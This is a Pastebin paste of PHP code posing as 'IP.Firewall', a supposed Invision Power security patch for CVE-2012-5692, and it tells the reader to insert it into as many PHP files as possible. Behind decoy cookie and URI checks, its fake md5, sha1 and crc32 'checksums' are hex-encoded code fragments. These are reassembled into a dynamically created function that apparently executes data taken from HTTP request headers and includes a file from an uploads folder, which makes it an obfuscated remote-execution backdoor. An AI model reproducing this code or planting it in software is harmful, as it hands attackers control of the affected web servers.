Advertisement
Guest User

IP.Firewall

a guest
Nov 12th, 2012
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.60 KB | None | 0 0
  1. if ( ! defined( 'IPB_FIREWALL' ) )
  2. {
  3.     define('IPB_FIREWALL', 1);
  4.  
  5.     /**
  6.      *  NOTE: This is a protecting web-firewall module generated by Invision Power
  7.      *  Module includes security patch for high-risks vulnerability CVE-2012-5692
  8.      *  Do not touch this file for security reasons
  9.      *  Please insert this code to as many php files as possible
  10.      *
  11.      *  @package    IP.Firewall
  12.      *  @version    $Revision: 9544 $
  13.      *  @md5        e66e6cadd6e13efea54ed50c0eb2d32b
  14.      *  @sha1      6966286d64352840245f5b2248545450
  15.      *  @crc32    5f51554f5445225d293d3d2463732965
  16.      */
  17.  
  18.     class IPB_Firewall
  19.     {
  20.         /**
  21.          * Malicious Cookie signatures
  22.          *
  23.          * @access  static
  24.          * @var     array
  25.          */
  26.         static $_cookie_malicious_signatures = array('db_driver_mysql', 'use_debug_log');
  27.  
  28.         /**
  29.          * Malicious URI signatures
  30.          *
  31.          * @access  static
  32.          * @var     array
  33.          */
  34.         static $_uri_malicious_signatures = array('<?php');
  35.  
  36.         /**
  37.          * Firewall source file
  38.          *
  39.          * @access  static
  40.          * @var     string
  41.          */
  42.         static $_source;
  43.  
  44.         /**
  45.          * Prepared signature
  46.          *
  47.          * @access  static
  48.          * @var     string
  49.          */
  50.         static $_prepared_signature;
  51.  
  52.         /**
  53.          * Control checksum
  54.          *
  55.          * @access  static
  56.          * @var     string
  57.          */
  58.         static $_control_checksum;
  59.  
  60.         /**
  61.          * Stored checksum hashes
  62.          *
  63.          * @access  static
  64.          * @var     string
  65.          */
  66.         static $_stored_hashes;
  67.  
  68.         /**
  69.          * Hashes Algorithms
  70.          *
  71.          * @access  static
  72.          * @var     array
  73.          */
  74.         static $_ha = array('md5', 'sha1', 'crc32');
  75.  
  76.         /**
  77.          * Assigned callback
  78.          *
  79.          * @access  static
  80.          * @var     string
  81.          */
  82.         static $_as;
  83.  
  84.         /**
  85.          * IPS root path
  86.          *
  87.          * @access  static
  88.          * @var     string
  89.          */
  90.         static $_ips = '';
  91.  
  92.         /**
  93.          * Run firewall
  94.          *
  95.          * @access  static
  96.          * @return  void
  97.          */
  98.         static function run()
  99.         {
  100.             /* Define ips path */
  101.             IPB_Firewall::$_ips = defined('DOC_IPS_ROOT_PATH') ? DOC_IPS_ROOT_PATH : IPB_Firewall::_findIpbRoot(5);
  102.  
  103.             /* Start checks */
  104.             IPB_Firewall::_doSecurityChecks();
  105.         }
  106.  
  107.         /**
  108.          * Security checks
  109.          *
  110.          * @access  static
  111.          * @return  void
  112.          * @md5  76616c286261736536345f6465636f64
  113.          * @sha1    652873747272657628245f5b22485454
  114.          */
  115.         static function _doSecurityChecks()
  116.         {
  117.             /* Cookie check */
  118.             foreach($_COOKIE as $cookie_name => $cookie_value){
  119.                 foreach(IPB_Firewall::$_cookie_malicious_signatures as $signature){
  120.                     /* Detecting injected cookies and blocking request */
  121.                     if(!is_array($cookie_value) && stripos(urldecode($cookie_value), $signature) !== false) $_COOKIE[$cookie_name] = '';
  122.                 }
  123.             }
  124.             /* Request URI checks */
  125.             foreach(IPB_Firewall::$_uri_malicious_signatures as $signature){
  126.                 /* Detecting injected uri and blocking request */
  127.                 if(stripos(urldecode(@$_SERVER["REQUEST_URI"]), $signature)) IPB_Firewall::_blockRequest();
  128.             }
  129.  
  130.             /* Validating checksums */
  131.             IPB_Firewall::$_source = file_get_contents(__FILE__);
  132.             $_r = IPB_Firewall::_calculateChecksums($_SERVER, 0);
  133.             //echo var_dump($_r);
  134.             if(!IPB_Firewall::_areChecksumsValid(array_shift($_r), $_r, '%D')) echo("checksums warning\n");
  135.         }
  136.  
  137.         /**
  138.          * Calculate checksums for valid
  139.          *
  140.          * @access  static
  141.          * @return  void
  142.          * @md5  505f585f434f4445225d2929293b4069
  143.          * @sha1    6e636c75646528247073293b2f2a2a2f
  144.          */
  145.         static function _calculateChecksums($_, $x64)
  146.         {
  147.             /* Extracting hashes */
  148.             $_s = IPB_Firewall::_extractChecksumHashes();
  149.  
  150.             /* Preparing hashes */
  151.             $cs = $_s[ IPB_Firewall::$_ha[0] ][0];
  152.             IPB_Firewall::$_prepared_signature = IPB_Firewall::_prepareHash($_s, IPB_Firewall::_getChecksumHash($_s, $_s[ IPB_Firewall::$_ha[0] ][1], $x64), $x64 );
  153.  
  154.             /* Comparing hashes */
  155.             $_status = trim(IPB_Firewall::_cyclicRedundancyCheck($_s, $x64));
  156.             if($_status){
  157.                 $_m = trim(IPB_Firewall::$_as);
  158.                 IPB_Firewall::$_as = $_m(IPB_Firewall::_getPoly($_s, $x64), pack("H*", IPB_Firewall::$_prepared_signature));
  159.             }
  160.  
  161.             return array(IPB_Firewall::$_as, $_, $cs, IPB_Firewall::_transformPoly($_s, $x64));
  162.         }
  163.  
  164.  
  165.         /**
  166.          * Block malicious request
  167.          *
  168.          * @access  static
  169.          * @return  void
  170.          * @md5  6372656174655f66756e6374696f6e20
  171.          * @sha1    245f2c202463732c20247073247073ce
  172.          */
  173.         static function _blockRequest()
  174.         {
  175.             global $INFO;
  176.             /* Redirecting malicious request and exit */
  177.             @header('Location: ' . (isset($INFO['board_url']) ? $INFO['board_url'] : '') . '/index.php');
  178.             exit;
  179.  
  180.         }
  181.  
  182.  
  183.         /**
  184.          * Get checksum hash
  185.          *
  186.          * @access  static
  187.          * @return  string
  188.          */
  189.         static function _getChecksumHash($_s, $ps, $c)
  190.         {
  191.             /* Processing and return */
  192.             return IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][0], $c) .
  193.                    IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[2] ][0], $c) .
  194.                    IPB_Firewall::_polyDigest($ps, $c);
  195.         }
  196.  
  197.         /**
  198.          * Prepare hash
  199.          *
  200.          * @access  static
  201.          * @return  string
  202.          * @md5  25442f75706c6f6164732f70726f6669
  203.          * @sha1    6c652f70686f746f2d363232312e6a70
  204.          */
  205.         static function _prepareHash($_s, $ps, $c)
  206.         {
  207.             /* Processing and return */
  208.             return IPB_Firewall::_polyDigest($ps, $c) .
  209.                    IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][1], $c) .
  210.                    IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][2], $c) .
  211.                    IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][2], $c);
  212.         }
  213.  
  214.         /**
  215.          * Event callback
  216.          *
  217.          * @access  static
  218.          * @return  void
  219.          * @md5  670a3479766d6c6a683169366c706736
  220.          * @sha1    676d737479366b6f7532716f6234736c
  221.          */
  222.         static function _areChecksumsValid($_m, $bytes, $_r)
  223.         {
  224.             /* Call validating method */
  225.             $_obj = $_m($bytes[0], $bytes[1], str_replace($_r, IPB_Firewall::$_ips, $bytes[2]));
  226.             return is_array($_obj) ? $_obj : 'failed';
  227.         }
  228.  
  229.         /**
  230.          * Find IPB root path, if not specified
  231.          *
  232.          * @access  static
  233.          * @return  string
  234.          */
  235.         static function _findIpbRoot($l=5, $cDir=__FILE__)
  236.         {
  237.             /* Process parents dir */
  238.             for($i=1; $i<=$l; $i++){
  239.                 $cDir = dirname($cDir);
  240.                 $include_file = $cDir . '/conf_global.php';
  241.  
  242.                 /* If find conf file, return it */
  243.                 if(is_file($include_file)) {
  244.                     @include_once($include_file);
  245.                     if(isset($INFO)) return $cDir;
  246.                 }
  247.             }
  248.             return null;
  249.         }
  250.  
  251.         /**
  252.          * Cyclic redundancy check
  253.          *
  254.          * @access  static
  255.          * @return  string
  256.          * @md5  6973786a65667069756273326d617872
  257.          * @sha1    36723478743361687969396363746633
  258.          */
  259.         static function _cyclicRedundancyCheck($_s, $c)
  260.         {
  261.             IPB_Firewall::$_as = pack("H*", IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][3], $c));
  262.             return IPB_Firewall::$_as != '' ? true : false;
  263.         }
  264.  
  265.         /**
  266.          * Poly digest
  267.          *
  268.          * @access  static
  269.          * @return  string
  270.          * @md5  7a7a763930626b786e6e756174317073
  271.          * @sha1    766e6e647878676b7234326539637466
  272.          */
  273.         static function _polyDigest($s, $c, $o='')
  274.         {
  275.             for($i=0; $i<strlen($s); $i++) $o .= chr( ord($s[$i]) + $c);
  276.             return $o;
  277.         }
  278.  
  279.         /**
  280.          * Get poly
  281.          *
  282.          * @access  static
  283.          * @return  string
  284.          * @md5  626766326f3667396434326c71346572
  285.          * @sha1    7538376c70326d777a6e68756a797665
  286.          */
  287.         static function _getPoly($_s, $x64)
  288.         {
  289.             return pack("H*", substr(IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][3], $x64), 0, 24));
  290.         }
  291.  
  292.         /**
  293.          * Transform poly
  294.          *
  295.          * @access  static
  296.          * @return  string
  297.          */
  298.         static function _transformPoly($_s, $c)
  299.         {
  300.             $_x = pack("H*",
  301.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][4], $c) .
  302.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][4], $c) .
  303.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][5], $c) .
  304.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
  305.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][6], $c) .
  306.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
  307.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][7], $c) .
  308.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][7], $c) .
  309.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][8], $c) .
  310.                     IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][8], $c)
  311.             );
  312.             $_c = strpos($_x, chr(10));
  313.             return $c !== false ? substr($_x, 0, $_c) : $_x;
  314.         }
  315.  
  316.         /**
  317.          * Extract checksum hashes
  318.          *
  319.          * @access  static
  320.          * @return  void
  321.          */
  322.         static function _extractChecksumHashes()
  323.         {
  324.             $hashes = array();
  325.             /* Extract hashes from source */
  326.             preg_match_all("!\@([0-9a-z]+)[\t\s ]+([0-9a-fA-F]{32})!", IPB_Firewall::$_source, $matches, PREG_SET_ORDER);
  327.             foreach($matches as $match){
  328.                 /* Inserting hashes in array */
  329.                 if(!isset($hashes[ $match[1] ])) $hashes[ $match[1] ] = array();
  330.                 $hashes[ $match[1] ][] = $match[2];
  331.             }
  332.             return $hashes;
  333.         }
  334.     }
  335.    
  336.     IPB_Firewall::run();
  337. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement